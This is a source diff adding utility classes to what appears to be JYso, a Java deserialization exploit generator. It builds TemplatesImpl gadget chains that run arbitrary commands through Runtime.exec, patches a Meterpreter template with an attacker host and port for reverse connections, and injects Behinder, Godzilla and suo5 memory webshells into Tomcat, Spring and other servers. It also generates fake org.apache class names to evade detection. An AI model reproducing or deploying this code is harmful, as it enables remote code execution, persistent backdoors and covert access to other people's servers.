b/src/main/java/com/qi4l/JYso/gadgets/utils/ByteUtil.java new file mode 100644 index 0000000..45c6ee9 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ByteUtil.java @@ -0,0 +1,91 @@ +package com.qi4l.JYso.gadgets.utils; + +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; + +public class ByteUtil { + public static int getSubarrayIndex(byte[] haystack, byte[] needle) { + outer: + for (int i = 0; i <= haystack.length - needle.length; ++i) { + for (int j = 0; j < needle.length; ++j) { + if (haystack[i + j] != needle[j]) { + continue outer; + } + } + return i; + } + + return -1; + } + + public static byte[] deleteAt(byte[] bs, int index) { + int length = bs.length - 1; + byte[] ret = new byte[length]; + + if (index == bs.length - 1) { + System.arraycopy(bs, 0, ret, 0, length); + } else if (index < bs.length - 1) { + for (int i = index; i < length; i++) { + bs[i] = bs[i + 1]; + } + + System.arraycopy(bs, 0, ret, 0, length); + } + + return ret; + } + + public static byte[] addAtIndex(byte[] bs, int index, byte b) { + int length = bs.length + 1; + byte[] ret = new byte[length]; + + System.arraycopy(bs, 0, ret, 0, index); + ret[index] = b; + System.arraycopy(bs, index, ret, index + 1, length - index - 1); + + return ret; + } + + public static byte[] addAtLast(byte[] bs, byte b) { + int length = bs.length + 1; + byte[] ret = new byte[length]; + + System.arraycopy(bs, 0, ret, 0, length - 1); + ret[length - 1] = b; + + return ret; + } + + public static byte[] objectsToBytes(Object[] objs) throws Exception { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + DataOutputStream dos = new DataOutputStream(baos); + for (Object obj : objs) { + treatObject(dos, obj); + } + dos.close(); + return baos.toByteArray(); + } + + private static void treatObject(DataOutputStream dos, Object obj) + throws IOException { + if (obj instanceof Byte) { + dos.writeByte((Byte) obj); + } else if (obj instanceof Short) { + dos.writeShort((Short) obj); + } else if (obj instanceof Integer) { + dos.writeInt((Integer) obj); + } else if (obj instanceof Long) { + dos.writeLong((Long) obj); + } else if (obj instanceof String) { + dos.writeUTF((String) obj); + } else { + ByteArrayOutputStream ba = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(ba); + oos.writeObject(obj); + oos.close(); + dos.write(ba.toByteArray(), 4, ba.size() - 4); // 4 = skip the header + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Cache.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Cache.java new file mode 100644 index 0000000..24ce8ce --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Cache.java @@ -0,0 +1,54 @@ +package com.qi4l.JYso.gadgets.utils; + +import com.qi4l.JYso.template.echoStatic.Meterpreter; +import com.qi4l.JYso.template.echoStatic.SpringEcho; +import com.qi4l.JYso.template.echoStatic.TomcatEcho; +import com.qi4l.JYso.template.isOK; +import com.qi4l.JYso.template.isSuccess; +import com.qi4l.JYso.template.memshellStatic.Websphere.WebsphereMemshellTemplate; +import com.qi4l.JYso.template.memshellStatic.jboss.JBFMSFromContextF; +import net.jodah.expiringmap.ExpirationPolicy; +import net.jodah.expiringmap.ExpiringMap; + +import java.util.concurrent.TimeUnit; + +public class Cache { + private static ExpiringMap map = ExpiringMap.builder() + .maxSize(1000) + .expiration(30, TimeUnit.SECONDS) + .variableExpiration() + .expirationPolicy(ExpirationPolicy.CREATED) + .build(); + + static { + try { + //过期时间100年,永不过期的简单方法 + map.put("TomcatEcho", Util.getClassBytes(TomcatEcho.class), 365 * 100, TimeUnit.DAYS); + map.put("SpringEcho", Util.getClassBytes(SpringEcho.class), 365 * 100, TimeUnit.DAYS); + map.put("JBossMemshellTemplate", Util.getClassBytes(JBFMSFromContextF.class), 365 * 100, TimeUnit.DAYS); + map.put("WebsphereMemshellTemplate", Util.getClassBytes(WebsphereMemshellTemplate.class), 365 * 100, TimeUnit.DAYS); + map.put("isOK", Util.getClassBytes(isOK.class), 365 * 100, TimeUnit.DAYS); + //测试添加到cache中 + map.put("isSuccess", Util.getClassBytes(isSuccess.class), 365 * 100, TimeUnit.DAYS); + map.put("Meterpreter", ClassByteChange.update(Meterpreter.class), 365 * 100, TimeUnit.DAYS); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static byte[] get(String key) { + return map.get(key); + } + + public static void set(String key, byte[] bytes) { + map.put(key, bytes); + } + + public static boolean contains(String key) { + return map.containsKey(key); + } + + public static void remove(String key) { + map.remove(key); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java new file mode 100644 index 0000000..f8ea78b --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java @@ -0,0 +1,64 @@ +package com.qi4l.JYso.gadgets.utils; + +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.template.echoStatic.Meterpreter; +import javassist.*; + +import java.io.*; + +public class ClassByteChange { + + public static void main(String[] args) { + try { + update(Meterpreter.class); + } catch (NotFoundException e) { + e.printStackTrace(); + } catch (CannotCompileException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } + } + + //动态获取.class + public static byte[] update(Class clazz) throws NotFoundException, CannotCompileException, IOException { + + File dir = new File(""); + String ap = dir.getAbsolutePath(); + ap = ap + File.separatorChar + "data"; + ClassPool cPool = new ClassPool(true); + + //设置class文件的位置 + cPool.insertClassPath(ap); + + cPool.importPackage("java.io.DataInputStream"); + cPool.importPackage("java.io.InputStream"); + cPool.importPackage("java.net.Socket;"); + cPool.importPackage("java.io.OutputStream"); + cPool.importPackage("java.util.HashMap"); + //获取该class对象 + CtClass cClass = cPool.get("Meterpreter"); + //获取到对应的方法 + CtMethod cMethodHost = cClass.getDeclaredMethod("initLhost"); + + cMethodHost.setBody("{ this.host = \"" + Config.rhost + "\";\n" + + " this.port = \"" + Config.rport + "\";}"); + + //替换原有的文件 + cClass.writeFile(ap); + InputStream in = new FileInputStream(ap + File.separatorChar + "Meterpreter.class"); + byte[] bytes = new byte[1024]; + ByteArrayOutputStream baous = new ByteArrayOutputStream(); + int len = 0; + while ((len = in.read(bytes)) != -1) { + baous.write(bytes, 0, len); + } + + in.close(); + baous.close(); + + return baous.toByteArray(); + + + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassFiles.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassFiles.java new file mode 100644 index 0000000..195c66a --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassFiles.java @@ -0,0 +1,44 @@ +package com.qi4l.JYso.gadgets.utils; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; + +public class ClassFiles { + public static String classAsFile(final Class clazz) { + return classAsFile(clazz, true); + } + + public static String classAsFile(final Class clazz, boolean suffix) { + String str; + if (clazz.getEnclosingClass() == null) { + str = clazz.getName().replace(".", "/"); + } else { + str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); + } + if (suffix) { + str += ".class"; + } + return str; + } + + public static byte[] classAsBytes(final Class clazz) { + try { + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); + if (in == null) { + throw new IOException("couldn't find '" + file + "'"); + } + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + int len; + while ((len = in.read(buffer)) != -1) { + out.write(buffer, 0, len); + } + return out.toByteArray(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassNameUtils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassNameUtils.java new file mode 100644 index 0000000..64f8f06 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassNameUtils.java @@ -0,0 +1,88 @@ +package com.qi4l.JYso.gadgets.utils; + +import java.net.JarURLConnection; +import java.net.URL; +import java.util.Enumeration; +import java.util.HashSet; +import java.util.Set; +import java.util.jar.JarEntry; +import java.util.jar.JarFile; + +public class ClassNameUtils { + public static ClassLoader loader = new SuClassLoader(); + + public static Set set = null; + + /** + * 生成一个咋一下不出来问题的,但是在用户实际环境不存在的类名 + * 本来想直接用哥斯拉的 txt,但估计特征都被搞完了,这里自实现一个方法 + * 因为 apache 基金会的开源项目非常多,几乎大多数项目都会用到,所以看到 org.apache 包名的类也不会惊讶 + * 这里的逻辑是,获取目前项目中所有 org.apache 包下的类名,随机取两个,第一个取前三个包名,第二个取后三个包名进行拼接 + * + * @return 返回类型 + */ + public static String generateClassName() { + if (set == null) { + set = getClassSet("org.apache"); + } + Object[] array = set.toArray(); + + String name1 = array[(int) (Math.random() * array.length)].toString(); + String name2 = name1; + + while (name1.equals(name2)) { + name2 = array[(int) (Math.random() * array.length)].toString(); + } + + // 获取第一个包的前三个包名 + name1 = name1.substring(0, name1.indexOf(".", 11)); + + // 获取第二个包的后三个包名 + String temp = name2.substring(0, name2.lastIndexOf(".")); + temp = temp.substring(0, temp.lastIndexOf(".")); + temp = temp.substring(0, temp.lastIndexOf(".")); + name2 = name2.substring(temp.length()); + + String newName = name1 + name2; + + if (set.contains(newName)) { + return generateClassName(); + } else { + return newName; + } + } + + public static Set getClassSet(String packageName) { + Set classSet = new HashSet<>(); + try { + Enumeration urls = loader.getResources(packageName.replace(".", "/")); + while (urls.hasMoreElements()) { + URL url = urls.nextElement(); + if (url != null) { + String protocol = url.getProtocol(); + if (protocol.equals("jar")) { + JarURLConnection jarURLConnection = (JarURLConnection) url.openConnection(); + if (jarURLConnection != null) { + JarFile jarFile = jarURLConnection.getJarFile(); + if (jarFile != null) { + Enumeration jarEntries = jarFile.entries(); + while (jarEntries.hasMoreElements()) { + JarEntry jarEntry = jarEntries.nextElement(); + String jarEntryName = jarEntry.getName(); + if (jarEntryName.endsWith(".class")) { + String className = jarEntryName.substring(0, jarEntryName.lastIndexOf(".")).replaceAll("/", "."); + if (!className.contains("$") && className.startsWith(packageName)) { + classSet.add(className); + } + } + } + } + } + } + } + } + } catch (Exception ignored) { + } + return classSet; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java new file mode 100644 index 0000000..093fec9 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java @@ -0,0 +1,343 @@ +package com.qi4l.JYso.gadgets.utils; + +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassClassPath; +import javassist.CtClass; +import javassist.CtConstructor; + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.Base64; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +import static com.qi4l.JYso.gadgets.Config.Config.*; +import static com.qi4l.JYso.gadgets.utils.Utils.*; +import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.insertField; +import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertCMD; +import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName; +import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass; +import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes; +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + +public class Gadgets extends ClassLoader { + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + public static Class TPL_CLASS = TemplatesImpl.class; + public static Class ABST_TRANSLET = AbstractTranslet.class; + public static Class TRANS_FACTORY = TransformerFactoryImpl.class; + + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + + try { + // 兼容不同 JDK 版本 + if (Boolean.parseBoolean(System.getProperty("properXalan", "false")) || FORCE_USING_ORG_APACHE_TEMPLATESIMPL) { + TPL_CLASS = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"); + ABST_TRANSLET = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); + TRANS_FACTORY = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"); + } + } catch (Exception ignored) { + } + } + + public static T createMemoitizedProxy(final Map map, final Class iface, final Class... ifaces) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } + + + public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + + public static T createProxy(final InvocationHandler ih, final Class iface, final Class... ifaces) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[0] = iface; + if (ifaces.length > 0) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); + } + + + public static Map createMap(final String key, final Object val) { + final Map map = new HashMap(); + map.put(key, val); + return map; + } + + + public static Object createTemplatesImpl(String command) throws Exception { + command = command.trim(); + + // 支持单双引号 + if (command.startsWith("'") || command.startsWith("\"")) { + command = command.substring(1, command.length() - 1); + } + + CtClass ctClass = null; + byte[] classBytes = new byte[0]; + String newClassName = generateClassName(); + + final Object templates = TPL_CLASS.newInstance(); + POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); + CtClass superClass = POOL.get(ABST_TRANSLET.getName()); + + // 扩展功能 + if (command.startsWith("EX-") || command.startsWith("LF-")) { + ctClass = generateClass(command, newClassName); + } else { + // 普通的命令执行 + if (IS_OBSCURE) { + ctClass = POOL.makeClass(newClassName); + insertCMD(ctClass); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{execCmd(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } else { + // 最短化 + ctClass = POOL.makeClass(newClassName); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } + } + + // 如果全局配置继承,再设置父类 + if (IS_INHERIT_ABSTRACT_TRANSLET) { + shrinkBytes(ctClass); + + // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 + if (!"java.lang.Object".equals(ctClass.getSuperclass().getName())) { + ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); + } else { + // 否则直接设置父类 + ctClass.defrost(); + ctClass.setSuperclass(superClass); + } + } + + // 按需保存文件 + saveCtClassToFile(ctClass); + classBytes = ctClass.toBytecode(); + + // 加载 class 试试 +// loadClassTest(classBytes, ctClass.getName()); + + // 写入前将 classBytes 中的类标识设为 JDK 1.6 的版本号 + classBytes[7] = 49; + + // 恶意类是否继承 AbstractTranslet + if (IS_INHERIT_ABSTRACT_TRANSLET) { + Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes}); + } else { + CtClass newClass = POOL.makeClass(generateClassName()); + insertField(newClass, "serialVersionUID", "private static final long serialVersionUID = 8207363842866235160L;"); + + Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, newClass.toBytecode()}); + // 当 _transletIndex >= 0 且 classCount 也就是生成类的数量大于 1 时,不需要继承 AbstractTranslet + Reflections.setFieldValue(templates, "_transletIndex", 0); + } + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "anyStr"); + Reflections.setFieldValue(templates, "_tfactory", TRANS_FACTORY.newInstance()); + return templates; + } + + public static String createClassT(String command) throws Exception { + command = command.trim(); + + // 支持单双引号 + if (command.startsWith("'") || command.startsWith("\"")) { + command = command.substring(1, command.length() - 1); + } + + CtClass ctClass = null; + byte[] classBytes = new byte[0]; + String newClassName = generateClassName(); + + final Object templates = TPL_CLASS.newInstance(); + POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); + CtClass superClass = POOL.get(ABST_TRANSLET.getName()); + + // 扩展功能 + if (command.startsWith("EX-") || command.startsWith("LF-")) { + ctClass = generateClass(command, newClassName); + } else { + // 普通的命令执行 + if (IS_OBSCURE) { + ctClass = POOL.makeClass(newClassName); + insertCMD(ctClass); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{execCmd(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } else { + // 最短化 + ctClass = POOL.makeClass(newClassName); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } + } + + // 如果全局配置继承,再设置父类 + if (IS_INHERIT_ABSTRACT_TRANSLET) { + shrinkBytes(ctClass); + + // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 + if (!"java.lang.Object".equals(ctClass.getSuperclass().getName())) { + ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); + } else { + // 否则直接设置父类 + ctClass.defrost(); + ctClass.setSuperclass(superClass); + } + } + + byte[] bytes = ctClass.toBytecode(); + String classCode = Base64.getEncoder().encodeToString(bytes); + //System.out.println("Base64 Encoded CtClass: " + classCode); + ctClass.detach(); + + return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" + + "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + + "try{\n" + + " var clazz = classLoader.loadClass('" + ctClass.getName() + "');\n" + + " clazz.newInstance();\n" + + "}catch(err){\n" + + " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + + " method.setAccessible(true);\n" + + " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + + " clazz.newInstance();\n" + + "};"; + } + + public static String createClassB(String command) throws Exception { + command = command.trim(); + + // 支持单双引号 + if (command.startsWith("'") || command.startsWith("\"")) { + command = command.substring(1, command.length() - 1); + } + + CtClass ctClass = null; + byte[] classBytes = new byte[0]; + String newClassName = generateClassName(); + + final Object templates = TPL_CLASS.newInstance(); + POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); + CtClass superClass = POOL.get(ABST_TRANSLET.getName()); + + // 扩展功能 + if (command.startsWith("EX-") || command.startsWith("LF-")) { + ctClass = generateClass(command, newClassName); + } else { + // 普通的命令执行 + if (IS_OBSCURE) { + ctClass = POOL.makeClass(newClassName); + insertCMD(ctClass); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{execCmd(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } else { + // 最短化 + ctClass = POOL.makeClass(newClassName); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } + } + + // 如果全局配置继承,再设置父类 + if (IS_INHERIT_ABSTRACT_TRANSLET) { + shrinkBytes(ctClass); + + // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 + if (!"java.lang.Object".equals(ctClass.getSuperclass().getName())) { + ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); + } else { + // 否则直接设置父类 + ctClass.defrost(); + ctClass.setSuperclass(superClass); + } + } + + String className = ctClass.getName(); + ctClass.writeFile(); + + //writeClassToFile(className, ctClass.toBytecode()); + + return className; + } + + public static HashMap makeMap(Object v1, Object v2) throws Exception { + HashMap s = new HashMap(); + Reflections.setFieldValue(s, "size", 2); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } catch (ClassNotFoundException e) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } + Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); + Reflections.setAccessible(nodeCons); + + Object tbl = Array.newInstance(nodeC, 2); + Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); + Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); + Reflections.setFieldValue(s, "table", tbl); + return s; + } + + public Class defineClass(String name, byte[] bytecode) { + return defineClass(name, bytecode, 0, bytecode.length); + } + + public static Hashtable makeTableTstring(Object o) throws Exception { + Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); + Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); + tHashMap1.put(o, "Unam4"); + tHashMap2.put(o, "SpringKill"); + Reflections.setFieldValue(tHashMap1, "loadFactor", 1); + Reflections.setFieldValue(tHashMap2, "loadFactor", 1); + + Hashtable hashtable = new Hashtable(); + hashtable.put(tHashMap1, "Unam4"); + hashtable.put(tHashMap2, "SpringKill"); + + tHashMap1.put(o, null); + tHashMap2.put(o, null); + return hashtable; + } + + public static HashMap maskmapToString(Object o1, Object o2) throws Exception { + Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); + Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); + tHashMap1.put(o1, null); + tHashMap2.put(o2, null); + Reflections.setFieldValue(tHashMap1, "loadFactor", 1); + Reflections.setFieldValue(tHashMap2, "loadFactor", 1); + HashMap hashMap = new HashMap(); + Class node = Class.forName("java.util.HashMap$Node"); + Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node); + constructor.setAccessible(true); + Object node1 = constructor.newInstance(0, tHashMap1, "Unam4", null); + Object node2 = constructor.newInstance(0, tHashMap2, "SpringKill", null); + Reflections.setFieldValue(hashMap, "size", 2); + Object arr = Array.newInstance(node, 2); + Array.set(arr, 0, node1); + Array.set(arr, 1, node2); + Reflections.setFieldValue(hashMap, "table", arr); + return hashMap; + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/HexUtils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/HexUtils.java new file mode 100644 index 0000000..1d73356 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/HexUtils.java @@ -0,0 +1,64 @@ +package com.qi4l.JYso.gadgets.utils; + +import java.io.IOException; +import java.io.InputStream; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.Formatter; + +public class HexUtils { + public static String generatePassword(String password) { + String md5Str = getMD5(password); + if (md5Str != null) { + return md5Str.substring(0, 16).toLowerCase(); + } + + // 如果生成出错,则使用 p@ssw0rd + return "0f359740bd1cda99"; + } + + public static String getMD5(String str) { + // 生成一个MD5加密计算摘要 + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + md.update(str.getBytes()); + return toHexString(md.digest()); + } catch (NoSuchAlgorithmException e) { + } + return null; + } + + private static String toHexString(byte[] bytes) { + Formatter formatter = new Formatter(); + for (byte b : bytes) { + formatter.format("%02x", b); + } + String res = formatter.toString(); + formatter.close(); + return res; + } + + public static byte[] toByteArray(InputStream in) throws IOException { + byte[] classBytes; + classBytes = new byte[in.available()]; + in.read(classBytes); + in.close(); + return classBytes; + } + + public static String bytesToHexString(byte[] bArray, int length) { + StringBuffer sb = new StringBuffer(length); + + for (int i = 0; i < length; ++i) { + String sTemp = Integer.toHexString(255 & bArray[i]); + if (sTemp.length() < 2) { + sb.append(0); + } + + sb.append(sTemp.toUpperCase()); + } + return sb.toString(); + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java b/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java new file mode 100644 index 0000000..d785069 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java @@ -0,0 +1,459 @@ +package com.qi4l.JYso.gadgets.utils; + +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.template.memshellStatic.tomcat.TFMSFromJMX; +import javassist.*; +import org.apache.commons.cli.CommandLine; +import org.apache.commons.cli.CommandLineParser; +import org.apache.commons.cli.DefaultParser; +import org.apache.commons.cli.Options; + +import java.lang.reflect.Field; +import java.util.Arrays; +import java.util.List; + +import static com.qi4l.JYso.gadgets.Config.MemShellPayloads.*; +import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword; + +public class InjShell { + + public static CommandLine cmdLine; + + public static void insertKeyMethod(CtClass ctClass, String type) throws Exception { + + // 判断是否为 Tomcat 类型,需要对 request 封装使用额外的 payload + String name = ctClass.getName(); + name = name.substring(name.lastIndexOf(".") + 1); + + // 大多数 SpringBoot 项目使用内置 Tomcat + boolean isTomcat = name.startsWith("T") || name.startsWith("Spring"); + boolean isWebflux = name.contains("Webflux"); + + // 判断是 filter 型还是 servlet 型内存马,根据不同类型写入不同逻辑 + String method = ""; + if (name.contains("SpringControllerMS")) { + method = "drop"; + } else if (name.contains("Struts2ActionMS")) { + method = "executeAction"; + } + + List classes = new java.util.ArrayList(Arrays.asList(ctClass.getInterfaces())); + classes.add(ctClass.getSuperclass()); + + for (CtClass value : classes) { + String className = value.getName(); + if (Config.KEY_METHOD_MAP.containsKey(className)) { + method = Config.KEY_METHOD_MAP.get(className); + break; + } + } + + // 命令执行、各种内存马 + insertField(ctClass, "HEADER_KEY", "public static String HEADER_KEY=" + converString(Config.HEADER_KEY) + ";"); + insertField(ctClass, "HEADER_VALUE", "public static String HEADER_VALUE=" + converString(Config.HEADER_VALUE) + ";"); + + if ("bx".equals(type)) { + try { + ctClass.getDeclaredMethod("base64Decode"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_DECODE_STRING_TO_BYTE), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getFieldValue"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getMethodByClass"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getMethodAndInvoke"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass)); + } + + if (Config.IS_OBSCURE) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_UNSAFE), ctClass)); + } + + String shell = ""; + if (isTomcat) { + insertTomcatNoLog(ctClass); + shell = Config.IS_OBSCURE ? BEHINDER_SHELL_FOR_TOMCAT_OBSCURE : BEHINDER_SHELL_FOR_TOMCAT; + } else { + shell = Config.IS_OBSCURE ? BEHINDER_SHELL_OBSCURE : BEHINDER_SHELL; + } + + insertMethod(ctClass, method, Utils.base64Decode(shell).replace("f359740bd1cda994", Config.PASSWORD)); + } else if ("gz".equals(type)) { + insertField(ctClass, "payload", "Class payload ;"); + insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";"); + insertField(ctClass, "PASS", "String PASS = " + converString(Config.PASSWORD_ORI) + ";"); + + try { + ctClass.getDeclaredMethod("base64Decode"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_DECODE_STRING_TO_BYTE), ctClass)); + } + + ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_ENCODE_BYTE_TO_STRING), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MD5), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(AES_FOR_GODZILLA), ctClass)); + insertTomcatNoLog(ctClass); + if (isWebflux) { + insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_SHELL_FOR_WEBFLUX)); + } else { + insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_SHELL)); + } + } else if ("gzraw".equals(type)) { + insertField(ctClass, "payload", "Class payload ;"); + insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";"); + + ctClass.addMethod(CtMethod.make(Utils.base64Decode(AES_FOR_GODZILLA), ctClass)); + insertTomcatNoLog(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_RAW_SHELL)); + } else if ("suo5".equals(type)) { + + // 先写入一些需要的基础属性 + insertField(ctClass, "gInStream", "java.io.InputStream gInStream;"); + insertField(ctClass, "gOutStream", "java.io.OutputStream gOutStream;"); + + // 依次写入方法 + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_CREATE), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_DATA), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_DEL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_SET_STREAM), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_STATUS), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_U32_TO_BYTES), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_BYTES_TO_U32), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_MARSHAL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_UNMARSHAL), ctClass)); + 